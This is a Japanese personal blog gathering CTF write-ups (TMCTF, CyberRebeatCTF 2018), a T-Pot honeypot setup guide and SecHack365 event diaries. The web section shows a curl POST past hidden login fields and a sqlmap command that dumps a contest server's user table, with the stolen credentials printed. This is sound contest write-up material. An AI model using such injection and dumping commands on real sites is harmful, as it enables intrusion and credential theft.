> binwalk -e 00001462.zip DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt 4220981 0x406835 End of Zip archive, comment: "Boooooom!" 4221083 0x40689B Zlib compressed data, default compression 4221165 0x4068ED Unix path: /Type/Metadata/Subtype/XML>>stream 4221317 0x406985 Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://p 4222198 0x406CF6 Zlib compressed data, default compression 4222644 0x406EB4 Zlib compressed data, default compression
./_00001462.zip.extracted/flag.txt
を得ることできました.
flag.txt
はTMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}
です.
因みにQWxpY2UgaW4gV29uZGVybGFuZA==
はbase64
でAlice in Wonderland
です.
Misc200
Category: Misc
Points: 200
If you look at that Constellation the sky will openTraffic Traffic Traffic...
this is really strange ...
hour 1...
hour 2...
hour 3...
where is the data!!!!!? AAAAAAAAAAA ...
lets take a look to the night and see if we can plot something....
Hint 1 REVERSE THE CASES - if you think the flag is in uppercase, try lowercase. If you think the flag is in lowercase, try uppercase.
アプローチ:pcap(ICMP)からデータ抽出+可視化
この問題ではtraffic.pcap
とproc.py
が渡されます.
まずtraffic.pcap
に注目すると,ICMP
で何かやってそうなことに気づきます(他のプロトコルはTLSv1
なので読めない)
ICMP
のデータ部を確認すると座標のような値が流れていることに気づきます.
データを抽出するためにwireshark
でicmp.type == 8
(ICMPのrequestのみ)というフィルタをかけて一旦pcap
で保存します(icmp.pcap
).
tshark
を使ってデータを抽出します.
> tshark -r icmp.pcap -T fields -e data.data 34:2e:34:38:36:39:31:30:2c:33:2e:30:30:30:30:36:30 34:2e:32:30:35:34:31:30:2c:31:2e:34:34:30:30:30:30 33:2e:38:31:31:36:37:30:2c:30:2e:35:30:39:36:35:30 31:2e:30:32:37:32:39:30:2c:33:2e:30:33:38:35:38:30 32:2e:37:37:38:30:32:30:2c:30:2e:30:30:38:33:31:30 35:2e:39:37:37:30:36:30:2c:32:2e:35:32:35:32:31:30 34:2e:31:31:32:39:33:30:2c:34:2e:34:38:30:31:32:30 37:2e:30:31:31:39:37:30:2c:33:2e:30:32:37:31:37:30 36:2e:35:31:30:34:36:30:2c:32:2e:39:33:30:33:30:30 36:2e:39:39:38:36:31:30:2c:32:2e:35:32:37:38:35:30 34:2e:38:30:34:30:31:30:2c:35:2e:30:31:33:39:37:30 37:2e:30:37:33:32:34:30:2c:33:2e:35:33:37:36:31:30 33:2e:38:32:31:37:34:30:2c:30:2e:30:30:30:37:30:30 33:2e:35:36:38:31:36:30:2c:34:2e:39:39:37:30:35:30 ...
ここで抽出したデータを適当なスクリプトを書いて座標データに変換します.
import codecs fr = open('hex.txt','r') fw = open('test_2.txt','a') for row in fr: hex = ''.join(row.strip().split(':')) print(hex) text = codecs.decode(hex, 'hex_codec').decode('utf-8') print(text) fw.write(text + '\n') fr.close() fw.close()
多分xxd -p -r
をうまく使うとワンライナーで書けると思う
のですが改行周りがめんどくさくなってスクリプト書きました.
座標データを抽出できたのでtraffic.pcap
と一緒に渡されたproc.py
を確認します.
import matplotlib.pyplot as plt import seaborn as sns; sns.set() # for plot styling import numpy as np from sklearn.datasets.samples_generator import make_blobs from numpy import genfromtxt #humm, encontre este codigo en un servidor remoto #estaba junto con el "traffic.pcap" # que podria ser?, like some sample code _data2 = np.genfromtxt('test_2.txt', delimiter=',') db = DBSCAN(eps=10000, min_samples=100000).fit(my_data2) labels = db.labels_ n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0) core_samples_mask = np.zeros_like(db.labels_, dtype=bool) core_samples_mask[db.core_sample_indices_] = True unique_labels = set(labels) colors = [plt.cm.Spectral(each) for each in np.linsspace(0, 1, len(unique_labels))] for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14) #NOTE: what you see in the sky put it format TMCTF{replace_here} #where "replace_here" is what you see plt.title('aaaaaaaa: %d' % n_clusters_) plt.show()
コメントを読むとICMP
から得た座標データを投げてあげると文字が浮かび上がり,それがflag
になるようです.
早速実行しようとしますが,いくつかのエラーがでて実行できません(未定義の変数の使用,DBSCANのimport, DBSCANパラメータの不適切な設定).
そのため,以下のように書き直します.
import matplotlib.pyplot as plt import seaborn as sns; sns.set() # for plot styling import numpy as np from sklearn.datasets.samples_generator import make_blobs from numpy import genfromtxt from sklearn.cluster import DBSCAN #humm, encontre este codigo en un servidor remoto #estaba junto con el "traffic.pcap" # que podria ser?, like some sample code # _data2 = np.genfromtxt('test_2.txt', delimiter=',') my_data2 = np.genfromtxt('test_2.txt', delimiter=',') #eps=10000, min_samples=100000 db = DBSCAN().fit(my_data2) labels = db.labels_ n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0) core_samples_mask = np.zeros_like(db.labels_, dtype=bool) core_samples_mask[db.core_sample_indices_] = True unique_labels = set(labels) colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))] for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) # xy = X[class_member_mask & core_samples_mask] xy = my_data2[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14) #NOTE: what you see in the sky put it format TMCTF{replace_here} #where "replace_here" is what you see plt.title('aaaaaaaa: %d' % n_clusters_) plt.show()
上記のプログラムを実行すると以下のような画像を得ることができます.
直感で左右反転させます.
FLAG:1
と読めますね.
問題文のヒントに従うと,TMCTF{flag:1}
が得られます.
今回の問題とはあまり関係ないですが,DBSCAN
は密度ベースのクラスタリングアルゴリズムです.
以下の動画が参考になると思います.
まとめ
- 全体的に難しくて簡単な問題しか解けなかった
- 今回もBinary問題から逃げてしまった
- Analysis-offensive100で変な音をずっと再生してたら具合悪くなった上に結局解けなかった
- 0完は回避できたので良かった(CBCTFの悲劇を繰り返さずにすんだ)
CyberRebeatCTF2018 Write-up
- CyberRebeatCTFとは
- 成績
- [Exercise]
- [Crypto]
- [Misc]
- [Programming]
- [Recon]
- [Stegano]
- [Trivia]
- [Web]
- [Binary]
- まとめ
CyberRebeatCTFとは
CyberRebeatは、サークルE.N.Nachが制作したノベルゲームのタイトルです。 この作品はサイバーセキュリティや、ハッカー、CTFなどを題材としており、 その題材の珍しさや高いクオリティが評価され、日本国内で各種の賞を受賞しました。 本イベントは当該作品の英語版がSteamにてリリースされたことを記念して、より多くの方にCTFを楽しんでいただこうと企画されました。
成績
1人で参加してこんな感じでした.
32位/177チーム(参加人数:270人)
[Exercise]
Exercise
CRCTF{CyberRebeatCTF}
CRCTF{CyberRebeatCTF}
を提出するだけです.
[Crypto]
Rotation
P4P6S{9RN4RUNPXR45}
アプローチ:rot13 -> 換字式暗号
問題文的にrot13だと思ったのでrot13
してみるとC4C6F{9EA4EHACKE45}
になります.
次に数字は換字式暗号っぽいなと思ったので4 -> R
, 6 -> T
, 9 -> W
, 5 -> S
に変換します.
最終的にflag
はCRCTF{WEAREHACKERS}
になります.
[Misc]
Readme
Readme.
アプローチ:Electroharmonixを頑張って読む
image.jpg
を見るとElectroharmonix
というフォントを使ったものだと分かるので下記のサイトの変換表?を見ながらflag
を読み解きます.
最終的なflag
はCRCTF{YOUCANPLAYCYBERREBEATINBOTHLANGUAGES}
です.
[Programming]
Calculation
nc 59.106.212.75 8080
アプローチ:Pythonで自動化
nc 59.106.212.75 8080
をすると四則演算が降ってくるタイプので問題です.
手でやるのはめちゃくちゃしんどいのでPythonで自動化します.
20問解くとflag
がでます.
CRCTF{She calls herself a human calculator}
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from socket import * s = socket(AF_INET, SOCK_STREAM) s.connect(('59.106.212.75', 8080)) def read(): res = s.recv(4096).decode('utf-8') # print(res) return res for i in range(100): print('count: {}'.format(i)) res = read() problem = res.split('\n')[0] print(problem) if res == '\ufeff': continue ans = str(eval(problem)) s.send(ans.encode('utf-8')+b'\n') print(ans)
Prime Factor
Answer the maximum prime factor.
nc 59.106.212.75 8081
example:
Question:120
Answer:5 (Prime Factors: 2, 3, 5)
アプローチ:そこそこ速い素因数分解アルゴリズムを使う
基本的な流れはCalculation
と同じですが,弱い(遅い)素因数分解アルゴリズムを使うと計算が終わらないので注意する必要があります.
自分はsympy
というPythonのライブラリを使いました.
25問解くとflag
がでます.
CRCTF{I'm a calculating type by nature.}
Number Theory — SymPy 1.4 documentation
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from sympy import factorint from socket import * s = socket(AF_INET, SOCK_STREAM) s.connect(('59.106.212.75', 8081)) def read(): res = s.recv(4096).decode('utf-8') # print(res) return res for i in range(100): print('count: {}'.format(i)) res = read() print(res) if res == '\ufeff': continue number = res.split('\n')[0] print(number) prime_dict = factorint(int(number)) ans = str(max(prime_dict.keys())) print(ans) s.send(ans.encode('utf-8')+b'\n')
Visual Novels
nc 59.106.212.75 8082
あるユーザーは"Reading Power"を持っている。
これはVisualNovelを月にどのくらい読めるかを示している。
彼がたくさんのVisualNovelを持っているとき、彼はどの組み合わせでプレイすればその月の満足度を最大にできるか。
最大の満足度を答えよ。example:
Reading Power = 30
Games([size, satisfaction]) =
[10, 1],
[21, 2],
[12, 3],Answer : 4
アプローチ:パースしてDPする
基本的に前の2問と同じですが,典型的なナップサック問題を解く必要があるので条件をパースしてDPします.
10問解くとflag
がでます.
CRCTF{Believe in the high efficiency processor installed in your head.}
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from socket import * import re import numpy as np s = socket(AF_INET, SOCK_STREAM) s.connect(('59.106.212.75', 8082)) def read(): res = s.recv(4096).decode('utf-8') # print(res) return res def dp(power, sizes, satisfactions): dp_table = [[0 for j in range(power + 2)] for i in range(len(sizes))] backtrack = [[0 for j in range(power + 2)] for i in range(len(sizes))] # initialization for y in range(power + 1): if sizes[0] <= y + 1: dp_table[0][y] = satisfactions[0] backtrack[0][y] = 1 else: backtrack[0][y] = 0 # DP construction for k in range(1, len(satisfactions)): for y in range(power + 1): if y - sizes[k] < 0: # out of range dp_table[k][y] = dp_table[k - 1][y] backtrack[k][y] = 0 continue left = dp_table[k - 1][y] right = dp_table[k - 1][y - sizes[k]] + satisfactions[k] if left < right: # update dp_table[k][y] = right backtrack[k][y] = 1 else: dp_table[k][y] = left backtrack[k][y] = 0 argmax = [] prev = backtrack[len(satisfactions) - 1][power - 1] argmax.append(prev) tmp_power = power - 1 for k in range(len(satisfactions) - 2, -1, - 1): if prev is 1: # case previous item was selected tmp_power -= sizes[k + 1] prev = backtrack[k][tmp_power] else: prev = backtrack[k][tmp_power] argmax.append(prev) argmax.reverse() # print(dp_table) # print(backtrack) print(argmax) arr_argmax = np.array(argmax) arr_satisfactions = np.array(satisfactions) ans = np.dot(arr_argmax, arr_satisfactions) print(ans) return ans for i in range(100): print('count: {}'.format(i)) sizes = [] satisfactions = [] res = read() if res == '\ufeff' or res == '\n': continue print(res) lines = res.split('\n') for line in lines: if 'Power' in line: power = int(line.split(' ')[-1]) if '?' in line: break if line.count(',') > 1: num_list = [ x for x in re.split('[, ]', line) if len(x) > 0] sizes.append(int(num_list[0][1:])) satisfactions.append(int(num_list[1][:-1])) ans = str(dp(power, sizes, satisfactions)) s.send(ans.encode('utf-8')+b'\n') print('send')
[Recon]
Tweet
アプローチ:Twitterを見に行く
CRCTF{CyberRebeatCTF_has_started!}
CRCTF{CyberRebeatCTF_has_started!}
— CyberRebeat (@CyberRebeat) 2018年9月8日
CyberRebeatScripts
Do you know Github?
アプローチ:Githubのリポジトリを見に行く
delete FLAG
というcommit
があるので編集差分を確認します.
CRCTF{I cut down her gag in a single strike}
ChangeHistory
アプローチ:gitの使い方のお勉強
当該リポジトリに行ってみると怪しいissue
がたってる.
とりあえずgit clone
してgit log
とgit reflog
をしてみるが手がかりなし.
git reflog
でlocal log
しか取得できなかったのでなんとかremote log
を取得する方法を調べる.
上記サイトによるとcurl https://api.github.com/repos/ennach/ChangeHistory/events
してcommit id
がc476614bc439fe1910e494422b3aa207b776d486
のURLを見つけるといいらしい.
https://api.github.com/repos/ennach/ChangeHistory/commits/c476614bc439fe1910e494422b3aa207b776d486
上記サイトで変更前のデータが見れるのでflag
がとれる
CRCTF{the timer is set to 120 seconds}
[Stegano]
Secret.pdf
It's a secret pdf!
アプローチ:とりあえずopen
とりあえずopen secret.pdf
する
flag
部分が黒塗りされてるが文字選択でぬける.
CRCTF{I don't know of a time without the internet}
Alpha
アプローチ:alpha.pngのα値を調べる
問題名的にpngのα値を調べろということっぽいので簡単なスクリプトを書いて調べる(スクリプト書くよりも既存のツールを使ったほうが速いです).
ほとんどのPixelのα値が253であることが分かる.
怪しいのでα値が253以外のPixelを抜き出すスクリプトを書く.
CRCTF{ALPHA_IS_THE_NAME_OF_A_HACKER_IN_CYBERREBEAT}
#!/usr/bin/env python # -*- coding: utf-8 -*- from PIL import Image import numpy as np img = Image.open('./alpha.png') size = img.size flag_img = Image.new('RGBA',size) for x in range(size[0]): for y in range(size[1]): rgba = img.getpixel((x,y)) if rgba[3] != 253: flag_img.putpixel((x,y),(255,255,255,255)) else : flag_img.putpixel((x,y),(0,0,0,255)) flag_img.show() flag_img.save('./flag_img.png')
[Trivia]
Monero
ウェブ上からMoneroを発掘するソフトウェア。
日本で、自身のウェブサイト上にこのソフトを設置した何人かのユーザが逮捕されている。
フラグはすべて小文字。
例: CRCTF{abcdefgh}
アプローチ:日頃からセキュリティ関連のニュースをチェックしておく
これはcoinhive
のことですね.
CRCTF{coinhive}
Crossword
crossword_text.txt
FLAG:CRCTF{ABCDEFGH}
Flag format: all lowercase
横 1. ___ はCyberRebeatにおける特殊なコードネーム。CyberRebeatは、ハッカーたちがこれを打倒する物語。『ぴったりだと思わないか、ええっ、英雄(ヒーロー)?』 5. CyberRebeat作中における、とあるハッカーの切り札。______はネットに接続された多数のデバイスで、それぞれがひとつあるいは複数のBOTを実行している。 8. heroine.png / 彼女の名前:____ Amamiya 10. CyberRebeatシナリオライターの代表作:__:____ ~親愛なるあなたへ~ 11. CyberRebeatのキャッチフレーズ:We are h_____. 15. W_______はWindowsを実行しているコンピュータをターゲットとした、データを暗号化しBitcoinでの身代金支払いを要求するランサムウェアです。 16. CyberRebeatのシナリオライター 18. CRCTFを主催している同人サークル 19. 運営協力 : __________ Institute, Ltd., Aqutras Inc. 20. ______ はインターネットとセキュリティソフトウェアのクライアントのSSL 3.0へのフォールバックを利用した中間者攻撃です。 21. __________はBashdoorとも呼ばれ、Unix Bashシェルのセキュリティバグの一種であり、2014年9月24日にはじめて公表されました。 縦 2. Operation ______は、中国北京のElderwood GroupのようなAPTが人民解放軍と連携して行った一連のサイバー攻撃のこと。 3. CyberRebeatで利用しているゲームエンジン 4. CyberRebeatのイラストレーター:Kikyo ______ 6. smile.min.svg 7. _____ Rain は、米国連邦政府が定義した2003年からのアメリカのコンピュータシステムに対する一連の組織的な攻撃のこと。 9. CyberRebeatのデザインおよび背景イラスト担当 12. 翻訳協力 : __________ 13. CRCTFを主催している同人サークルが制作したノベルゲームの名称 14. https://store.____________.com/app/825320/CyberRebeat_The_Fifth_Domain_of_Warfare/ 17. heart.png
アプローチ:クロスワードを解く
2. Aurora 3. Unity 4. Manose 10. Re:LieF 11. hackers 12. SekaiProject 13. CyberRebeat 14. steampowered 15. wannacry 18. e.n.nach 19. activedefence 20. poodle 21. Shellshock CRCTF{ABCDEFGHI} CRCTF{submarine}
フラグはCRCTF{submarine}
になります.
[Web]
White page
http://hidden-field.cyberrebeat.adctf.online/index.php
id: Hiro
password: LittleGarden
アプローチ:curlでid,passをPost
Webサイトにアクセスしてみると問題名の通り,White pageになっています(Loginボタンがあるだけ).
ソースコードを確認しみてると以下のようになっています.
<body> <form action="index.php" method="post"> <input type="text" name="id" style="visibility:hidden" /> <input type="text" name="password" style="visibility:hidden" /> <button>LOGIN</button> </form> </body>
id,passwordの入力フォームがvisibility:hidden
になっているため,このままでは入力できないことがわかります.
そのため,curl
を使用してid
, password
をPOST
します.
curl http://hidden-field.cyberrebeat.adctf.online/index.php -X POST -d "id=Hiro&password=LittleGarden"
ログインに成功してflag
がとれます.
CRCTF{All I typed were four letters.}
Let's Tweet!
http://tweet.cyberrebeat.adctf.online/LetsTweet.php
LetsTweet.php
アプローチ:ついーとする
この問題は正直よく分かりませんでした.
php
のソースコードを確認するとtest.db
を読み込んでいることが分かるのでディレクトリトラバーサルでtest.db
を抜こうとしたのですが,Not Foundが返ってきて詰みました.
仕方なく,ツイートのリンクを使ってflag
をとりました.
CRCTF{Thank_you_for_your_tweet!}
Uploader
Find the secret file.
http://sqli.cyberrebeat.adctf.online/index.php
id: guest
pass: guest
アプローチ:SQLi -> Blind SQLi
とりあえずFile Name :
でSQLi
してみるとharada
というユーザがsecret.zip
をアップロードしていることが分かります.
次に問題文にあったid
,pass
でログインしてみるとsample.zip
のpassword
を閲覧できることがわかります.
そのため,harada
のpass
を探し出し,ログインに成功したらsecret.zip
をunzip
できることがわかります.
harada
のpass
を探すためにBlind SQLi
しなければいけないのですが,自分はSQLi Beginner
なのでsqlmap
に頼りました.
上記のサイトを参考にUsersテーブル
をdump
します.
sqlmap -u 'http://sqli.cyberrebeat.adctf.online/index.php' --data 'file_name=aaa&search=search' --dump -T Users
userid | password |
---|---|
guest | guest |
harada | seishin0129 |
pass:seishin0129
を使ってuser:harada
としてログインするとzippassword
を得ることができます.
上記のpass
でsecret.zip
をunzip
してあげるとflag
がとれます.
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}
[Binary]
0完
1問目のSimpleBinaryを解きながら「これのどこがシンプルなんだよ???」とキレてた.
Binary全然わからん…Binary強くなりたい…
まとめ
- 土日を持っていかれた
- 生活リズムが崩壊した(現在インターン中なので月曜の朝がつらそう)
- Binaryぜんぜんわからん
- CTFを始めて数ヶ月経って少しずつ解ける問題が増えてきたことを実感できたので嬉しかった
- CyberRebeatめっちゃ気になる
現実逃避でハニーポットを構築した話
はじめに
研究室で「(報告できるような)進捗ないな〜明日の進捗報告どうすっかな〜」と嘆いていたところ突如ハニーポットを構築したくなったので構築してみました.
サーバの準備
サーバの用意から始めます.
クーポンの利用
某ハックでさくらのデータセンターを訪問したときにもらったクーポンがあったのでさくらのクラウドを利用しました.
クーポンの登録手順は下記のサイトが参考になります.
manual.sakura.ad.jp
サーバの作成
用意するサーバのスペックは後述します.
サーバの作成手順は下記のサイトが参考になります.
manual.sakura.ad.jp
SSHなどの設定
下記のサイトを参考にするといいと思います. qiita.com
自分の環境はMacなのでいつもはssh-copy-id
でサクッとやっちゃいます.
ハニーポットの選定
ハニーポットと言っても様々なものがありますが今回は構築が簡単かつ可視化機能が優れているという点からT-Potを選びました.
T-Pot 17.10 - Multi-Honeypot Platform rEvolution
T-Potのコンセプト
- Ubuntu Server 16.04 LTSをベースにしたネットワークインストラーである
- ハニーポットデーモンとサポートコンポーネントはdockerでコンテナ化されている
- 同一のネットワークインターフェイスで複数のハニーポットデーモンを実行できる
- conpot, cowrie, dionaeaなどのdocker化されたハニーポットのイベントをELK Stackでいい感じに収集して可視化できる
サーバの必要スペック(for T-Pot)
- 4[GB] RAM (6-8[GB] recommended)
- 64[GB] SSD (128[GB] SSD recommended)
- Network via DHCP
- A working, non-proxied, internet connection
T-Potの導入
基本的に公式サイトの手順に従うだけですが下記のサイトでは日本語で解説されています. qiita.com
しかし,上記のサイトのKibana Web UIへのアクセスの項目は情報が古くなっているため注意が必要です(T-Pot 17.10からSSHでトンネルを張る必要がなくなりました).
現在ではhttps://<your.ip>:64297
にアクセスするだけで Kibana Web UI を使用することができます.
Just open a web browser and access and connect to
https://<your.ip>:64297
, enter
- user: user you chose during the installation
- pass: password you chose during the installation
可視化
Kibana Web UI のスクリーンショットです.
最後に
思ってたよりも簡単にハニーポットを構築することができて驚きました.
次は生のデータを分析してみたいと思います.
SecHack365@福岡に行ってきた話
SecHackのオフラインイベントで福岡に行ってきました(8/22~8/24)
0日目(8/21)
帰省先(実家)から昼頃帰ってきて研究室でSecHack用の資料を作っていた.
気がついたら0時を過ぎていた.
家に帰ってから荷造りをして2時頃に寝た.
1日目(8/22)
05:00
起床.
08:00
羽田空港到着.
台風19号と20号で欠航するんじゃないかと心配していたがなんとかなった.
11:00
福岡空港到着.
いい感じに晴れてて最高の気分になった.
12:30
ラーメンデータベース福岡ランキング1位の博多一双に到着.
今までに経験したことがないドギツイ豚骨臭で期待が高まる.
40分ほど並びようやく入店.
特製ラーメンを注文しカウンターで着丼を待つ.
3分ほどで着丼.
カプチーノのような豚骨スープの深いコクに感動して涙を流しながら麺をすすった(泣いたのは嘘
14:00
Nulab訪問.
CEOの橋本さんとCTOの縣さんから貴重なお話を聞かせて頂いた.
本日は、セキュリティの未来を生み出すU-25ハッカソン" #SecHack365 "のみなさまが、「先端科学技術企業訪問」として #ヌーラボ 福岡本社に来てくれました!🔐橋本や縣のセッションのみならず、たくさんのヌーラボメンバーとのミートアップタイムも行いましたよ😊#nulab pic.twitter.com/jlPZ1cijHe
— Nulab,inc. | (株)ヌーラボ (@nulabjp) 2018年8月22日
18:00
宿泊先に移動して夕飯.
圧倒的人権.
イカソーメンが名物らしいがそんなに好きじゃないので肉ばっか食べてた.
26:00
就寝.
早めに寝るべきだったけど強い人達と雑談するのが楽しくて夜更かし(?)してしまった.
2日目(8/23)
8:30
朝ごはんチャレンジ失敗.
09:00
中間報告開始.
毎度のことながらドクペータワー最高過ぎる.
13:00
休憩.
海に行った.
テンションが上って15年ぶりに海に潜ってしまった.
15:00
中間報告再開.
18:00
中間報告終了.
完全にこれだった.
18:30
中間報告終了後に自分のプロジェクトテーマが本当にこれでいいのか改めて考えた.
自分のテーマは研究に近いもので,大学でもできるためこれをSecHackでやるのは微妙だなと以前から思っていた.
進捗としては中間報告の時点である程度形にはなっており,必要なデータを揃えれば査読なしの研究会になら論文として投稿できそうだった(本当か?
しかし,このテーマを続けてもSecHackが求めるイノベーション感はだせないだろうなと感じていた.
そこで何人かのトレーニーと相談し,IoTに関するプロジェクトにJOINさせてもうら形になった.
19:00
夕飯.
人権.
23:00
4チームに別れてNight Challenge(ミニハッカソン)開始(1チーム5~6人)
- 台風情報を収集する
- 自身の位置が、暴風圏に入るかどうか判断する
- 危険な場合は、通知する
- 危険でない場合は、お勧めの近隣スポットをリコメンドする
- オリジナル機能 Idea 1 (自由な発想で機能を付けて下さい)
- オリジナル機能 Idea 2 (自由な発想で機能を付けて下さい)
28:00
Night Challenge終了.
危うくAll Night Challengeになるところだった.
自分はオリジナル機能として二郎リコメンドを実装した.
IPアドレスから現在地を取得し,最寄りの二郎をリコメンドする.
コマンドライン引数に地名が含まれていた場合はその地名から最寄りの二郎をリコメンドする.
リコメンド結果はTypetalkに通知している.
#!/usr/bin/env python # -*- coding: utf-8 -*- import geocoder import pandas as pd import requests import sys def nearest_jiro(): args = sys.argv if len(args) == 1: g = geocoder.ip('me') else : geo_address = args[1] g = geocoder.google(geo_address) if g.latlng is not None: lat = g.latlng[0] lng = g.latlng[1] else: print('Not Found') g = geocoder.ip('me') lat = g.latlng[0] lng = g.latlng[1] dist = float('inf') nearest_jiro_name = 'jiro' nearest_jiro_url = 'url' df = pd.read_csv('./jiro.csv') for index, row in df.iterrows(): temp_dist = abs(lat-row['lat']) + abs(lng-row['lng']) # print(row['name']) if dist > temp_dist: dist = temp_dist nearest_jiro_name = row['name'] nearest_jiro_url = row['url'] print(nearest_jiro_name, nearest_jiro_url) return nearest_jiro_name, nearest_jiro_url def typetalk_post(name, url): # hogeにはpost先のURLとトークンが入る r = requests.post('hoge', {'message': name + '\n' + url}) if __name__ == '__main__': name, url = nearest_jiro() typetalk_post(name,url)
3日目(8/24)
08:30
朝ごはんチャレンジ失敗.
09:00
コースワーク開始.
Night Challengeの発表をした後にプロジェクトの担当トレーナーにあいさつをしにいった.
13:00
倫理セッション.
法と倫理について考えた.
15:00
解散.
16:00
福岡空港到着.
実家用にお菓子と明太子と地酒,研究室用にお菓子を買った.
小腹が空いたのでラーメンを食べた(ラーメン以外の食べ物をしらないため)
21:00
羽田空港到着.
まとめ
- 本場の豚骨ラーメンは美味い
- 海は最高
- IoTに関する知見を増やす
SecHack365@北海道に行ってきた話
SecHackのオフラインイベントで北海道に行ってきました(6/29~7/1)
0日目 (6/28)
期末試験があったがSecHack関連のタスクが未完了だったので何も対策せずに受けた.
単位はちゃんときました
1日目 (6/29)
05:00
起床. まだ荷造り終わってなかったので最終確認とかをした.
10:00
羽田空港到着.
12:30
新千歳空港到着.
(北海道着いたらめっちゃ雨降ってた)
12:45
ラーメン道場で昼食
やっぱり空港のラーメンはスープが微妙
15:00
さくらインターネットの見学
データセンタの中に入るのは初めてだったのでとても新鮮だった.
区域毎に反省点を改善するために設備をアップデートしていく姿勢に感動した.
20:00
夕飯.
圧倒的人権
2日目 (6/30)
09:00
ここからが本番.
くぼたつ本 の著者の久保田 達也さんにアイデア発想法についてレクチャーをしてもらった.(くぼたつ本はただでもらった).
今までの自分のアイデアは自身の技術力に依存する傾向があり,ありきたりのモノしか思いつくことができなかった.(どうすれば実現できるか?考える癖がついていたため)
一度実現可能性を考えずにめちゃくちゃな案をだしてみるのも1つの手だということを知ったので日々の生活に取り入れていきたいと思う.
11:00
NICTER Open Network Security Test-Out Platform (NONSTOP)のハンズオンを受けた.
個人的に興味があるデータセットもあったので時間ができたら弄りたい.
13:00
コースワーク
自分のプロジェクトは研究寄りでイノベーション感がないのでとても不安になったが,周りに似たような不安を抱いている院生がいたので安心した(?).
本当にこのまま進めていいのか?と不安になっていたが,NICTの人に「このまま進めていいんじゃない?」と言われたのでこのまま進めることにした.
15:00
縁日
- データセット活用入門(ついでに感染IoT機器を探してみよう)
- ネットワークハッキング ~自由を手に入れよう!誰でもできるネットワークすり抜け術~
に参加した.
データセット活用入門(ついでに感染IoT機器を探してみよう)
簡単なスクリプトを書いてダークネットトラフィックに関するデータを扱った.
- IoT機器に関連した宛先ポートにスキャンしているホストを探す
- ホストの80/TCPにアクセスする
- HTTPレスポンスを収集
ネットワークハッキング ~自由を手に入れよう!誰でもできるネットワークすり抜け術~
ネットワークのトンネリング技術の体験をした.
などのコマンドを使った
ネットワークトンネリングツールの使い方よりも使いどころを知ることが大切
様々なレベルの制約がついたネットワーク環境を与えられ,wgetできれば勝ち?という講義だった. 最終的にWeb(80/TCP), mail(25/TCP), SSH(22/TCP), ICMP(ICMP)通信が禁止されたネットワークからwgetすることができた(iodine).
まとめ
SSHすごい!
19:00
夕飯.
普段食べてるものと比べるとレベルが高すぎて人権を感じた.
3日目 (7/1)
09:00
コースワーク
色々とアドバイスを頂いた.
13:00
解散.
そのまま,バスで新千歳空港に行き,実家と研究室用に日本酒とお菓子を買った.
19:00
羽田空港着
飯まとめ
3 + 1日目(7/2)
月曜の1限から期末テスト!
飛行機の中で1時間くらい勉強してそのままテストを受けた
院生の期末試験に対するモチベはこんなものだと思う
もちろん単位はきた